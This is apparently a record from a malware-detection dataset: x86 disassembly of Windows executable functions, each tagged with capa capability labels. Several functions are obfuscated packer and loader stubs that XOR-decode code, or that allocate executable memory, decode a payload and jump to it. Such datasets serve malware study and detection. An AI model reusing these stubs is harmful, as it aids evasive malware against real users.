joyce8/EMBER2024-capa huggingface dataset:
Function at 0x840e18
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x840fbf
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
mov eax, ebx
call fcn.00427f58
mov eax, dword [ebp - 8]
test eax, eax
je 0x840e59
sub eax, 4
mov eax, dword [eax]
mov edx, eax
sar edx, 1
jns 0x840e62
adc edx, 0
lea eax, [ebp - 4]
xor ecx, ecx
call fcn.0040a744
mov ebx, 1
xor eax, eax
push ebp
push 0x840eec
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x840ed2
push 0x840fdc
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
movzx edx, word [edx + ebx*2 - 2]
call fcn.0040aa74
push dword [ebp - 0x1c]
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 8]
movzx edx, word [edx + ebx*2]
call fcn.0040aa74
push dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.0040ad40
mov eax, dword [ebp - 0x18]
call fcn.00429144
mov edx, ebx
sar edx, 1
jns 0x840ec9
adc edx, 0
mov ecx, dword [ebp - 4]
mov byte [ecx + edx], al
add ebx, 2
mov esi, dword [ebp - 8]
test esi, esi
je 0x840ede
sub esi, 4
mov esi, dword [esi]
cmp esi, ebx
jg 0x840e81
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x840f08
mov eax, dword [ebp - 4]
test eax, eax
je 0x840f14
sub eax, 4
mov eax, dword [eax]
dec eax
test eax, eax
jl 0x840f46
inc eax
xor ebx, ebx
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx]
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 4]
movzx ecx, di
shr ecx, 8
xor byte [edx + ebx], cl
add di, word [ebp - 0x14]
imul dx, di, 0xd201
add dx, 0x7f6a
mov edi, edx
inc ebx
dec eax
jne 0x840f1c
xor eax, eax
push ebp
push 0x840f88
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.00409e7c
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0040f894
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.0040a25c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x840f8f
lea eax, [ebp - 0xc]
call fcn.00409e7c
ret
Function at 0x86ac40
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x86ae27
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x20]
call fcn.0040e02c
push eax
push 0x86ae38
push 5
push 0
push 0x8a53c8
call sub.ole32.dll_CoCreateInstance
call fcn.00552f44
lea eax, [ebp - 0x10]
call fcn.0040e02c
push eax
push 0
push 0x80000000
mov eax, dword [0x8a5f98]
push eax
mov eax, ebx
call fcn.0040a898
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
call fcn.00552f44
lea eax, [ebp - 0x1c]
call fcn.0040e02c
push eax
push 0
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [eax]
call dword [eax + 0x34]
call fcn.00552f44
lea eax, [ebp - 0xc]
call fcn.0040e02c
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [eax]
call dword [eax + 0x2c]
call fcn.00552f44
movzx eax, byte [ebp + 8]
push eax
mov eax, dword [ebp + 0x10]
push eax
push edi
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x20]
call fcn.00552f44
lea eax, [ebp - 4]
call fcn.0040e02c
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [eax]
call dword [eax + 0x38]
call fcn.00552f44
push 0x40000000
mov eax, esi
call fcn.0040a898
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x3c]
call fcn.00552f44
lea eax, [ebp - 0x14]
call fcn.0040e02c
push eax
mov eax, dword [0x8a5f98]
push eax
movzx eax, byte [ebp + 0xc]
add eax, eax
lea eax, [eax*8 + 0x8a53d8]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [eax]
call dword [eax + 0x20]
call fcn.00552f44
push 2
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
call fcn.00552f44
lea eax, [ebp - 8]
call fcn.0040e02c
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
call fcn.0040e02c
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [eax]
call dword [eax + 0x28]
call fcn.00552f44
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
call fcn.00552f44
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [eax]
call dword [eax + 0x2c]
call fcn.00552f44
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [eax]
call dword [eax + 0x30]
call fcn.00552f44
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [eax]
call dword [eax + 0x2c]
call fcn.00552f44
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x86ae2e
lea eax, [ebp - 0x20]
call fcn.0040e02c
lea eax, [ebp - 0x1c]
call fcn.0040e02c
lea eax, [ebp - 0x18]
call fcn.0040e02c
lea eax, [ebp - 0x14]
call fcn.0040e02c
lea eax, [ebp - 0x10]
call fcn.0040e02c
lea eax, [ebp - 0xc]
call fcn.0040e02c
lea eax, [ebp - 8]
call fcn.0040e02c
lea eax, [ebp - 4]
call fcn.0040e02c
ret
Function at 0x86d4dc
Capabilities:
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x86d566
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040aa50
push eax
call sub.kernel32.dll_GetFileAttributesW
inc eax
je 0x86d54e
lea eax, [ebp - 0x1e]
xor ecx, ecx
mov edx, 0x1e
call fcn.00407998
mov dword [ebp - 0x1a], 3
lea eax, [ebp - 0x24]
mov ecx, 0x86d580
mov edx, ebx
call fcn.0040acb8
mov eax, dword [ebp - 0x24]
call fcn.0040aa50
mov dword [ebp - 0x16], eax
mov word [ebp - 0xe], 0x54
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationW
test eax, eax
sete bl
jmp 0x86d550
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x86d56d
lea eax, [ebp - 0x24]
call fcn.00409e7c
ret

Function at 0x86d7b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00409f60
xor eax, eax
push ebp
push 0x86d81e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x40]
xor ecx, ecx
mov edx, 0x3c
call fcn.00407998
mov dword [ebp - 0x40], 0x3c
mov eax, dword [ebp - 4]
call fcn.0040aa50
mov dword [ebp - 0x30], eax
mov eax, 0x86d82c
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], 0xc
lea eax, [ebp - 0x40]
push eax
call sub.shell32.dll_ShellExecuteExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x86d825
lea eax, [ebp - 4]
call fcn.00409e7c
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x6d352c24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x6d352c33
pop dword [ebp - 0x50]
mov eax, 0xccfd51a9
add eax, 0xa037da8a
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x1198b3e3
sub dword [ebp - 0x60], 0xc3466e98
mov dword [ebp - 0x5c], 0x36a40ab
add dword [ebp - 0x5c], 0x2ec90b9a
mov dword [ebp - 0x58], 0xb82ddcde
add dword [ebp - 0x58], 0x941e6750
mov dword [ebp - 0x54], 0xdc438a80
sub dword [ebp - 0x54], 0xdc438a80
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x9e6da1fb
sub dword [ebp - 0x60], 0x29fb38a5
mov dword [ebp - 0x5c], 0xaf961b3d
add dword [ebp - 0x5c], 0x91d64638
mov dword [ebp - 0x58], 0xfcc52af3
sub dword [ebp - 0x58], 0x9955be87
mov dword [ebp - 0x54], 0xbb7fbf0c
sub dword [ebp - 0x54], 0xbb7fbf0c
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x5344dc6e
sub eax, 0xe60f4c16
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3a1f2
push 0
call eax
mov ecx, 0xebb01a04
add ecx, 0x14503963
mov edx, eax
mov ebx, 0x6d35e800
add ebx, dword [ebp - 0x50]
mov esi, 0x66b0e82
sub esi, 0x3685073
xor dword [ebp - 0x34], edi
mov edi, dword [ebx]
sub edi, esi
sub dword [ebp - 0x34], ebx
mov dword [edx], edi
add dword [ebp - 0x18], ecx
add edx, 0x8ae12e8c
add edx, 0x751ed178
add ebx, 0xbb3b29db
add ebx, 0x44c4d629
loop 0x6d352d4a
add eax, 0xf3080157
add eax, 0xcf93f18
xor ebx, ebx
add ebx, eax
add eax, 0x363d896a
add eax, 0xc9c2769b
mov ecx, 0x3259093e
sub ecx, 0xc524093e
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x6d3578c4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x6d3578ce
repz ret
jmp fcn.6d357caf
Function at 0x30008ccd
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push 0x1c
push 0x3001e2a8
call fcn.3000aac1
mov edi, 0x94
push edi
push 0
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x30008b52
push 0x12
call fcn.30008ab0
pop ecx
mov eax, 0xff
jmp 0x30008cc7
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push esi
push 0
test eax, eax
jne 0x30008b6d
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x30008b48
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [esi + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [esi + 8]
mov dword [ebp - 0x28], eax
mov edi, dword [esi + 0xc]
and edi, 0x7fff
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [ebp - 0x20]
cmp esi, 2
je 0x30008b9f
or edi, 0x8000
mov ecx, dword [ebp - 0x24]
mov eax, ecx
shl eax, 8
mov edx, dword [ebp - 0x28]
add eax, edx
mov dword [0x30022500], esi
mov dword [0x30022508], eax
mov dword [0x3002250c], ecx
mov dword [0x30022510], edx
mov dword [0x30022504], edi
call fcn.30008ad6
mov dword [ebp - 0x20], eax
push 1
call fcn.3000aa67
pop ecx
test eax, eax
jne 0x30008be5
push 0x1c
call fcn.30008ab0
pop ecx
call fcn.3000a888
test eax, eax
jne 0x30008bf6
push 0x10
call fcn.30008ab0
pop ecx
call fcn.3000a48d
and dword [ebp - 4], 0
call fcn.3000a24d
test eax, eax
jge 0x30008c10
push 0x1b
call fcn.3000979b
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x30024094], eax
call fcn.3000a118
mov dword [0x300224e0], eax
call fcn.3000a05f
test eax, eax
jge 0x30008c36
push 8
call fcn.3000979b
pop ecx
call fcn.30009dec
test eax, eax
jge 0x30008c47
push 9
call fcn.3000979b
pop ecx
push 1
call fcn.300098b7
pop ecx
test eax, eax
je 0x30008c5a
push eax
call fcn.3000979b
pop ecx
mov eax, dword [0x3002251c]
mov dword [0x30022520], eax
push eax
push dword [0x30022518]
push dword [0x30022514]
call main
add esp, 0xc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], 0
jne 0x30008c88
push eax
call fcn.30009a17
call fcn.30009a39
jmp 0x30008cbd
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x1c]
call fcn.3000ab06
ret
call fcn.301a8000
jmp 0x30008b17
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x79485730
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x6d4c06b3
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4029c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
mov dword [esp + 0x10], eax
lea eax, [ebp - 8]
mov dword [esp + 8], eax
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x10]
mov dword [esp], eax
mov dword [esp + 0xc], 0
call sub.msvcrt.dll___getmainargs
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll___set_app_type
mov eax, dword [ebp - 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00402a80
mov dword [esp], eax
call sub.msvcrt.dll_exit
nop
nop
nop
nop
push ebp
mov ebp, esp
call sub.msvcrt.dll___iob_func
mov edx, dword [ebp + 8]
pop ebp
shl edx, 5
add eax, edx
ret
Function at 0x403160
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov eax, dword fs:[0x18]
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebp + 8]
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
leave
ret 4

Function at 0x406b00
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [esp], 1
call dword [0x409068]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll_fflush]
mov dword [esp], 1
call dword [sym.imp.kernel32.dll_ExitProcess]

Function at 0x407fa0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
mov dword [esp + 0x10], eax
lea eax, [ebp - 8]
mov dword [esp + 8], eax
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x10]
mov dword [esp], eax
mov dword [esp + 0xc], 0
call sub.msvcrt.dll___getmainargs
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll___set_app_type
mov eax, dword [ebp - 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00408060
mov dword [esp], eax
call sub.msvcrt.dll_exit
nop
nop
nop
nop
push ebp
mov ebp, esp
call sub.msvcrt.dll___iob_func
mov edx, dword [ebp + 8]
pop ebp
shl edx, 5
add eax, edx
ret
Function at 0x418e57
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00412f66
and dword [ebp - 4], 0
cmp dword [0x44fcdc], 0
mov ebx, eax
jne 0x418f08
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x418fb9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x418fb9
push eax
call fcn.00412ef4
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44fcdc], eax
call esi
push eax
call fcn.00412ef4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44fce0], eax
call esi
push eax
call fcn.00412ef4
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44fce4], eax
call esi
push eax
call fcn.00412ef4
pop ecx
mov dword [0x44fcec], eax
test eax, eax
je 0x418f08
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00412ef4
pop ecx
mov dword [0x44fce8], eax
mov eax, dword [0x44fce8]
cmp eax, ebx
je 0x418f60
cmp dword [0x44fcec], ebx
je 0x418f60
push eax
call fcn.00412f6f
push dword [0x44fcec]
mov esi, eax
call fcn.00412f6f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x418f60
test edi, edi
je 0x418f60
call esi
test eax, eax
je 0x418f57
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x418f57
test byte [ebp - 0xc], 1
jne 0x418f60
or dword [ebp + 0x10], 0x200000
jmp 0x418f99
mov eax, dword [0x44fce0]
cmp eax, ebx
je 0x418f99
push eax
call fcn.00412f6f
pop ecx
test eax, eax
je 0x418f99
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x418f99
mov eax, dword [0x44fce4]
cmp eax, ebx
je 0x418f99
push eax
call fcn.00412f6f
pop ecx
test eax, eax
je 0x418f99
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44fcdc]
call fcn.00412f6f
pop ecx
test eax, eax
je 0x418fb9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x418fbb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x28b6017a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x52692016
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x68d86660
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x42e060
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
cmp eax, 0
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x537729c4
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x10031690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1003169f
pop dword [ebp - 0x10]
mov eax, 0x95431b0
add eax, 0x6aee4ef
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xcaa39ef3
add dword [ebp - 0x20], 0x83aea658
mov dword [ebp - 0x1c], 0xd5899433
sub dword [ebp - 0x1c], 0xa35647ee
mov dword [ebp - 0x18], 0x2db0caae
sub dword [ebp - 0x18], 0xe1648680
mov dword [ebp - 0x14], 0x8b022e05
sub dword [ebp - 0x14], 0x8b022e05
lea eax, [ebp - 0x20]
push eax
mov eax, 0x9267ea5d
add eax, 0x7d9bf61f
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x98ca4c26
add dword [ebp - 0x20], 0xdba81d30
mov dword [ebp - 0x1c], 0x5e3136ef
add dword [ebp - 0x1c], 0xe33b2a86
mov dword [ebp - 0x18], 0x869eddcd
sub dword [ebp - 0x18], 0x232f7161
mov dword [ebp - 0x14], 0x428dcc92
sub dword [ebp - 0x14], 0x428dcc92
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x2779fe9a
add eax, 0xe889e1ea
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3eba9
push 0
call eax
mov ecx, 0x911b3a0
add ecx, 0xf6ee9608
mov esi, eax
mov edx, 0x10071200
add edx, dword [ebp - 0x10]
mov edi, 0x5d0b495a
add edi, 0x68c1df13
xor dword [ebp - 4], 0x34589302
mov ebx, dword [edx]
xor dword [ebp - 4], eax
sub ebx, edi
xor dword [ebp - 8], 0x2efa6ed9
mov dword [esi], ebx
add esi, 0xaf04b21c
add esi, 0x50fb4de8
add edx, 0xffa170d8
add edx, 0x5e8f2c
loop 0x100317bb
add eax, 0x41ff40ab
add eax, 0xbe01d8c8
xor ebx, ebx
add ebx, eax
add eax, 0x2233cbcb
add eax, 0xddcc343a
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x1003aaa0
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
push 0x100000
lea eax, [esp + 0xc]
mov dword [esp + 4], 0xffffffff
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0xffffffff
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x14], 0xc
push eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 1
call dword [sym.imp.kernel32.dll_CreatePipe]
test eax, eax
je 0x1003ab3a
mov eax, dword [esp]
cdq
push esi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push edi
mov edi, dword [esp + 0x30]
mov dword [esp + 0x20], edx
cdq
mov dword [esp + 0x24], eax
mov eax, dword [edi]
push 2
mov dword [esp + 0x2c], edx
push edi
mov eax, dword [eax + 0x2d0]
call eax
mov esi, eax
test esi, esi
je 0x1003ab32
mov eax, dword [edi]
lea ecx, [esp + 0x1c]
push ecx
push 2
push 0
mov eax, dword [eax + 0x350]
push esi
push edi
call eax
mov eax, esi
pop edi
pop esi
add esp, 0x24
ret 8
xor eax, eax
add esp, 0x24
ret 8

Function at 0x1003abd0
Capabilities:
Read file on windows

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
push dword [esp + 0x1c]
push edi
mov eax, dword [edi]
mov eax, dword [eax + 0x398]
call eax
mov ecx, dword [edi]
mov ebx, eax
push dword [esp + 0x1c]
push edi
mov ecx, dword [ecx + 0x39c]
call ecx
mov dword [esp + 0xc], 0
test ebx, ebx
jne 0x1003ac0a
pop edi
or eax, 0xffffffff
pop ebx
ret 0x14
push 0
lea ecx, [esp + 0x10]
push ecx
push eax
push ebx
push dword [esp + 0x24]
call dword [sym.imp.kernel32.dll_ReadFile]
mov ecx, dword [esp + 0xc]
test eax, eax
mov edx, 0xfffffffe
cmove ecx, edx
pop edi
mov eax, ecx
pop ebx
ret 0x14

Function at 0x1003ac40
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push dword [esp + 0x14]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x398]
call eax
mov dword [esp + 4], 0
test eax, eax
jne 0x1003ac65
or eax, 0xffffffff
ret 0x18
push esi
mov esi, dword [esp + 0x1c]
test esi, esi
jne 0x1003ac75
lea eax, [esi - 2]
pop esi
ret 0x18
push 0
lea ecx, [esp + 0xc]
push ecx
push esi
push eax
push dword [esp + 0x20]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x1003ac95
mov eax, 0xfffffffd
pop esi
ret 0x18
push dword [esp + 0x10]
call dword [sym.imp.kernel32.dll_FlushFileBuffers]
xor eax, eax
mov ecx, 0xfffffffc
cmp esi, dword [esp + 8]
pop esi
cmovne eax, ecx
ret 0x18

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
mov ecx, 0x11c33b57
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax - 0x70], eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x3b795d74
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219